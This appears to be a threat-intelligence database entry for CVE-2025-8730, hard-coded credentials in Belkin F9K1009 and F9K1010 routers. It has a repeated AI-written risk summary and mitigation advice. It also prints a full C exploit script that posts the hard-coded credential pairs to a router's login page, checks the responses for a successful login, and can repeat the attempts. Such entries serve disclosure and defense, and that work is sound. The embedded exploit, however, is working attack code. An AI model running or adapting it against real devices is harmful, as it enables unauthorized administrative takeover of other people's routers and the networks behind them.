Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials
Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials
AI Analysis
Technical Summary
This security threat concerns the Belkin F9K1009 and F9K1010 router models running firmware versions 2.00.04 and 2.00.09, which contain hard coded credentials embedded within the device firmware. Hard coded credentials are fixed usernames and passwords that cannot be changed by the user, creating a backdoor for attackers. An adversary with network access can leverage these credentials to bypass authentication and gain administrative control over the router remotely. The exploit is categorized as a remote exploit, meaning it can be triggered over the network without physical access or user interaction. The availability of exploit code written in the C programming language lowers the barrier for attackers to automate attacks and integrate them into larger attack campaigns. Although no known exploits in the wild have been reported yet, the vulnerability presents a medium to high risk due to the potential for unauthorized network access, interception of traffic, and manipulation of router settings. The lack of official patches or firmware updates from Belkin exacerbates the risk, forcing organizations to rely on compensating controls or device replacement. This vulnerability can lead to confidentiality breaches, integrity violations, and potential denial of service if attackers disrupt router functionality. The threat affects network infrastructure devices commonly deployed in small to medium enterprise and home office environments, which may be part of larger corporate networks in Europe.
Potential Impact
For European organizations, exploitation of this vulnerability could lead to unauthorized administrative access to critical network infrastructure, enabling attackers to intercept sensitive communications, alter network configurations, or launch further attacks within the internal network. This could compromise the confidentiality and integrity of corporate data and disrupt business operations. Organizations relying on these Belkin router models for internet connectivity or VPN termination are particularly at risk. The vulnerability could facilitate lateral movement by attackers, increasing the scope of compromise. Additionally, the presence of hard coded credentials undermines trust in device security and complicates incident response. Given the widespread use of Belkin routers in residential and small business environments across Europe, this vulnerability could also be leveraged to create botnets or launch distributed denial-of-service (DDoS) attacks affecting European networks. The absence of patches means that affected organizations must implement alternative security measures to mitigate risk.
Mitigation Recommendations
Since no official patches or firmware updates are available, European organizations should first identify and inventory all Belkin F9K1009 and F9K1010 routers running the vulnerable firmware versions. Immediate mitigation steps include isolating these devices on segmented network zones with strict access controls to limit exposure. Replace vulnerable routers with models from vendors that provide timely security updates and do not contain hard coded credentials. If replacement is not immediately feasible, disable remote management interfaces and restrict administrative access to trusted internal IP addresses only. Monitor network traffic for unusual activity originating from or targeting these routers. Employ network intrusion detection systems (NIDS) to detect exploitation attempts using known signatures or anomalous behavior. Educate IT staff about the risks of hard coded credentials and the importance of network segmentation. For critical infrastructure, consider deploying additional layers of security such as VPNs or firewalls to protect router management interfaces. Engage with Belkin support channels to request security updates or guidance. Maintain up-to-date asset inventories and vulnerability management processes to quickly respond to emerging threats.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Netherlands, Poland, Belgium
Indicators of Compromise
- exploit-code: /* * Title : Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials * Author : Byte Reaper * CVE : CVE-2025-8730 * Description : Exploit demonstrating an authentication bypass vulnerability * in the web interface of Belkin F9K1009 and F9K1010 routers. The flaw resides * in improper session validation logic, allowing remote attackers to gain * unauthorized access to the administrative panel without supplying valid credentials. */ #include <stdio.h> #include <string.h> #include <curl/curl.h> #include "argparse.h" #include <stdlib.h> #include <time.h> #include <errno.h> #define FULL 2000 #define LOGIN_POST 1500 const char *nameFileC = NULL; int verbose = 0; const char *router = NULL; const char *cookies = NULL; int uC = 0; const char *fullurl = NULL; int sleepS = 0; int count = 0; void exitSyscall() { __asm__ volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } int checkLen(int len, char *buf, size_t bufcap) { if (len < 0 || (size_t)len >= bufcap) { printf("\e[0;31m[-] Len is Long ! \e[0m\n"); printf("\e[0;31m[-] Len %d\e[0m\n", len); exitSyscall(); return 1; } else { printf("\e[0;34m[+] Len Is Not Long (%d).\e[0m\n",len); return 0; } return 0; } struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitSyscall(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } const char *wordLogin[] = { "login_success", "Welcome", "Dashboard", "admin panel", "Set-Cookie", "Authorization", "token", "sessionid", "redirect", "access granted", "authenticated", "user authenticated", "login ok", "login complete", "login status=success", "login=1", "auth=1", "valid credentials", "home.htm", "main.htm", "index.htm", "config.htm", "firmware.htm", "admin.htm", NULL }; void sleepTime(int sec) { if (sec <= 0) { fprintf(stderr, "\e[0;31m[-] Value seconds must be > 0 !\e[0m\n"); exitSyscall(); } struct timespec req, rem; req.tv_sec = (time_t)sec; req.tv_nsec = 0; printf("\e[0;33m[+] Sleeping for %d seconds...\e[0m\n", sec); while (nanosleep(&req, &rem) == -1) { if (errno == EINTR) { req = rem; continue; } perror("\e[0;31m[-] Nanosleep failed !\e[0m"); exitSyscall(); } printf("\e[0;34m[+] Sleep successful.\e[0m\n"); } void detectDeviceType(const char *routerIp) { printf("\n=================================== [type Device] ===================================\e[0m\n"); CURL *curl = curl_easy_init(); if (!curl) exitSyscall(); struct Mem response = { NULL, 0 }; char full[FULL]; int len = snprintf(full, sizeof(full), "http://%s", routerIp); if (checkLen(len, full, sizeof(full))) { exitSyscall(); } curl_easy_setopt(curl, CURLOPT_URL, full); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); if (sleepS) { sleepTime(sleepS); } curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 5L); CURLcode res = curl_easy_perform(curl); if (res != CURLE_OK) { fprintf(stderr, "\e[0;31m[-] curl error: %s\n", curl_easy_strerror(res)); } if (response.buffer) { if (strstr(response.buffer, "F9K1009")) { printf("\e[0;36m[+] Device: Belkin F9K1009\e[0m\n"); } else if (strstr(response.buffer, "F9K1010")) { printf("\e[0;36m[+] Device: Belkin F9K1010\e[0m\n"); } else { printf("\e[0;31m[-] Unknown device type\e[0m\n"); free(response.buffer); } } else { printf("\e[0;31m[-] Response Is NULL !\n"); }; response.buffer= NULL; response.len = 0; curl_easy_cleanup(curl); printf("=====================================================================================\n"); } void credentialsRequest(const char *routerIp) { CURL *curl = curl_easy_init(); if (curl == NULL) { printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n"); exitSyscall(); } CURLcode res; char full[FULL]; int nL = 2; struct Mem response; response.buffer= NULL; response.len = 0; for (int l = 0; l <= nL; l++) { if (curl) { char full[FULL]; char post[LOGIN_POST]; if (fullurl != NULL ) { int lenFull = snprintf(full, sizeof(full), "%s", fullurl); if (checkLen(lenFull,full, sizeof(full)) == 1) { printf("\e[0;31m[-] Len FUll URL (Router IP) Is Long !\e[0m\n"); printf("\e[0;31m[-] Len : %d\n",lenFull); exitSyscall(); } printf("[+] Create FULL URL Successfully.\e[0m\n"); printf("[+] Default Port Request : %d\e[0m\n", 80); printf("[+] FULL URL : %s\n", full); } else { int lenI = snprintf(full, sizeof(full), "http://%s/login.htm", routerIp); if (checkLen(lenI,full, sizeof(full)) == 1) { printf("\e[0;31m[-] Len FUll URL (Router IP) Is Long !\e[0m\n"); printf("\e[0;31m[-] Len : %d\e[0m\n",lenI); exitSyscall(); } else { printf("\e[1;34m[+] Create FULL URL Successfully.\e[0m\n"); printf("\e[1;34m[+] Target IP %s\e[0m\n", routerIp); printf("\e[1;34m[+] Default Port Request : %d\e[0m\n", 80); printf("\e[1;34m[+] FULL URL : %s\e[0m\n", full); } } if (l < 2) { //login admin int vA = snprintf(post, sizeof(post), "login_username=admin&login_password=admin"); if (checkLen(vA, post, sizeof(post)) == 1) { printf("\e[0;31m[-] Error Write POST DATA !\e[0m\n"); printf("\e[0;31m[-] Len (data): %d\e[0m\n", vA); exitSyscall(); } printf("\e[0;36m[+] Write Successfully POST DATA .\e[0m\n"); printf("\e[0;36m[%d] Result POST DATA (admin) : \e[0m\n", l); printf("\n%s\n", post); } else { //login 00E0A6-111 int vE = snprintf(post, sizeof(post), "login_usernam=00E0A6-111&login_password=00E0A6-111"); if (checkLen(vE, post, sizeof(post)) == 1) { printf("\e[0;31m[-] Error Write POST DATA !\e[0m\n"); printf("\e[0;31m[-] Len (data): %d\n", vE); exitSyscall(); } printf("\e[0;36m[+] Write Successfully POST DATA .\e[0m\n"); printf("\e[0;36m[%d] Result POST DATA (00E0A6-111) : \e[0m\n", l); printf("\n%s\n", post); } curl_easy_setopt(curl, CURLOPT_URL, full); if (uC) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_POST, 1L); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(post)); curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, ""); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); if (sleepS) { sleepTime(sleepS); } curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0)"); headers = curl_slist_append(headers, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate, br"); headers = curl_slist_append(headers, "Accept-Language: en-US,en;q=0.5"); headers = curl_slist_append(headers, "Connection: keep-alive"); headers = curl_slist_append(headers, "Content-Type: application/json"); headers = curl_slist_append(headers, "Cache-Control: max-age=0"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); res = curl_easy_perform(curl); curl_slist_free_all(headers); if (res == CURLE_OK) { long httpCode = 0; long totalR; double timeredirect; char *redirectUrl = NULL; printf("\e[0;36m[+] Request sent successfully\e[0m\n"); if (response.len == 0) { printf("\e[0;31m[-] Response Len Zero !\e[0m\n"); } curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); printf("\e[0;32m[+] Http Code : %ld\e[0m\n", httpCode); curl_easy_getinfo(curl, CURLINFO_REDIRECT_COUNT, &totalR); curl_easy_getinfo(curl, CURLINFO_REDIRECT_TIME, &timeredirect); curl_easy_getinfo(curl, CURLINFO_REDIRECT_URL, &redirectUrl); printf("\e[0;35m[+] REDIRECT : ========================\e[0m\n"); printf("\e[0;34m[+] Time REDIRECT: %.1f\e[0m\n", timeredirect); printf("\e[0;34m[+] Total REDIRECT %ld\e[0m\n", totalR); printf("\e[0;34m[+] REDIRECT to : %s\e[0m\n", redirectUrl); printf("\e[0;35m=======================================\e[0m\n"); if (httpCode >= 200 && httpCode < 300) { if (response.buffer) { for (int r = 0; wordLogin[r] != NULL; r++) { if (strstr(response.buffer, wordLogin[r]) != NULL) { printf("\e[0;34m[+] Word Found : %s\n", wordLogin[r]); printf("\e[0;35m============================================= [RESPONSE] =============================================\e[0m\n"); printf("\n%s\n",response.buffer); printf("\e[0;35m ======================================================================================================\e[0m\n"); } if (verbose) { printf("\e[0;31m[-] Word Not Found : %s\e[0m\n",wordLogin[r]); } } } else { printf("\e[0;31m[-] Response Buffer Is NULL !\e[0m\n"); printf("\e[0;31m[-] Possible Waf \e[0m\n"); } } else { printf("\e[0;31m[-] http Code Not Range (%ld)\e[0m\n", httpCode); } } else { printf("\e[0;31m[-] The request was not sent !\e[0m\n"); printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); exitSyscall(); } } } curl_easy_cleanup(curl); if (response.buffer) { free(response.buffer); response.buffer = NULL; response.len = 0; } } int main(int argc, const char **argv) { printf("+-----------------------------------------------------------+\n"); printf("| Author : [ Byte Reaper ] |\n"); printf("| CVE : [ CVE-2025-8730 ] |\n"); printf("| Type Vuln : [ hard-coded credentials ] |\n"); printf("| Exploit publishing : [ 08/08/2025 ] |\n"); printf("| Target Service : [ Belkin F9K1009/F9K1010 ] |\n"); printf("+-----------------------------------------------------------+\n"); printf("\e[0;31m--------------------------------------------------------------------------------------------------------------------\e[0m\n"); curl_global_init(CURL_GLOBAL_DEFAULT); struct argparse_option options[] = { OPT_STRING('f', "full", &fullurl, "FULL url FORMAT (Login File)"), OPT_HELP(), OPT_STRING('i', "ip", &router, "Router Ip (12.12.12.12)"), OPT_STRING('c', "cookies", &nameFileC, "Enter File cookies"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_INTEGER('s', "sleep", &sleepS, "Sleep Request"), OPT_INTEGER('k', "count", &count, "Number For Loop Request (-k 8 (8 Request))"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (router == NULL && fullurl == NULL) { printf("\e[0;31m[-] Please Enter target Router IP !\e[0m\n"); printf("\e[0;31m[-] Example : ./CVE-2025-8730 -i <IP> \e[0m\n"); exitSyscall(); } if (nameFileC) { uC = 1; } if (verbose) { verbose = 1; } if (fullurl) { credentialsRequest(NULL); } if (sleepS) { sleepTime(sleepS); } if (count) { for (int j = 0; j <= count; j++) { if (fullurl) { credentialsRequest(fullurl); } if (router) { credentialsRequest(router); } } } detectDeviceType(router); credentialsRequest(router); curl_global_cleanup(); return 0; }
Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials
Description
Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials
AI-Powered Analysis
Technical Analysis
This security threat concerns the Belkin F9K1009 and F9K1010 router models running firmware versions 2.00.04 and 2.00.09, which contain hard coded credentials embedded within the device firmware. Hard coded credentials are fixed usernames and passwords that cannot be changed by the user, creating a backdoor for attackers. An adversary with network access can leverage these credentials to bypass authentication and gain administrative control over the router remotely. The exploit is categorized as a remote exploit, meaning it can be triggered over the network without physical access or user interaction. The availability of exploit code written in the C programming language lowers the barrier for attackers to automate attacks and integrate them into larger attack campaigns. Although no known exploits in the wild have been reported yet, the vulnerability presents a medium to high risk due to the potential for unauthorized network access, interception of traffic, and manipulation of router settings. The lack of official patches or firmware updates from Belkin exacerbates the risk, forcing organizations to rely on compensating controls or device replacement. This vulnerability can lead to confidentiality breaches, integrity violations, and potential denial of service if attackers disrupt router functionality. The threat affects network infrastructure devices commonly deployed in small to medium enterprise and home office environments, which may be part of larger corporate networks in Europe.
Potential Impact
For European organizations, exploitation of this vulnerability could lead to unauthorized administrative access to critical network infrastructure, enabling attackers to intercept sensitive communications, alter network configurations, or launch further attacks within the internal network. This could compromise the confidentiality and integrity of corporate data and disrupt business operations. Organizations relying on these Belkin router models for internet connectivity or VPN termination are particularly at risk. The vulnerability could facilitate lateral movement by attackers, increasing the scope of compromise. Additionally, the presence of hard coded credentials undermines trust in device security and complicates incident response. Given the widespread use of Belkin routers in residential and small business environments across Europe, this vulnerability could also be leveraged to create botnets or launch distributed denial-of-service (DDoS) attacks affecting European networks. The absence of patches means that affected organizations must implement alternative security measures to mitigate risk.
Mitigation Recommendations
Since no official patches or firmware updates are available, European organizations should first identify and inventory all Belkin F9K1009 and F9K1010 routers running the vulnerable firmware versions. Immediate mitigation steps include isolating these devices on segmented network zones with strict access controls to limit exposure. Replace vulnerable routers with models from vendors that provide timely security updates and do not contain hard coded credentials. If replacement is not immediately feasible, disable remote management interfaces and restrict administrative access to trusted internal IP addresses only. Monitor network traffic for unusual activity originating from or targeting these routers. Employ network intrusion detection systems (NIDS) to detect exploitation attempts using known signatures or anomalous behavior. Educate IT staff about the risks of hard coded credentials and the importance of network segmentation. For critical infrastructure, consider deploying additional layers of security such as VPNs or firewalls to protect router management interfaces. Engage with Belkin support channels to request security updates or guidance. Maintain up-to-date asset inventories and vulnerability management processes to quickly respond to emerging threats.
Affected Countries
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Technical Details
- Edb Id
- 52407
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials
/* * Title : Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials * Author : Byte Reaper * CVE : CVE-2025-8730 * Description : Exploit demonstrating an authentication bypass vulnerability * in the web interface of Belkin F9K1009 and F9K1010 routers. The flaw resides * in improper session validation logic, allowing remote attackers to gain * unauthorized access to the administrative panel without supplying... (13789 more characters)
Threat ID: 689a95b8ad5a09ad002b0971
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 11/3/2025, 9:39:01 AM
Last updated: 12/2/2025, 6:14:28 PM
Views: 215
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